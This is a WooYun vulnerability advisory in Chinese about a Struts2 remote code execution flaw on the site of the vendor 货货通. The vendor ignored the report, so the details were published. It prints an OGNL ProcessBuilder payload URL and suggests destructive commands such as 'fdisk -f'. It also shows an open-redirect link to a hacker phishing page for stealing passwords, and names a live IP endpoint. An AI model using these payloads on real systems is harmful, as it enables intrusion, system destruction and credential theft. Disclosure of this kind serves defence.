当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089759

漏洞标题:货货通存在Struts2远程代码执行漏洞

相关厂商:货货通

漏洞作者: 心东

提交时间:2015-01-04 18:09

修复时间:2015-02-18 18:10

公开时间:2015-02-18 18:10

漏洞类型:成功的入侵事件

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

如不修复。网站很容易被入侵。到时候数据又泄露了。。

详细说明:

1.可远程执行服务器脚本代码[2]
用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接,command goes here可以换成是破坏脚本的路径和参数,比如fdisk -f等,造成破环系统无法运行的目的。
2.重定向漏洞[3]
用户可以构造如知名网站淘宝的重定向连接,形如<a href="http://www.淘宝.com/item00001.html?redirect:http://黑客/getyourPassword">打折新款</a>,引导用户点击后进入钓鱼网站,在界面上让其进行登陆用以获取用户的密码。

漏洞证明:

http://121.42.51.71/redirectUserRegister.action

@DJXMYBXNK8Q7`UMG}MXX9T.jpg

修复方案:

升级更新

版权声明:转载请注明来源 心东@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论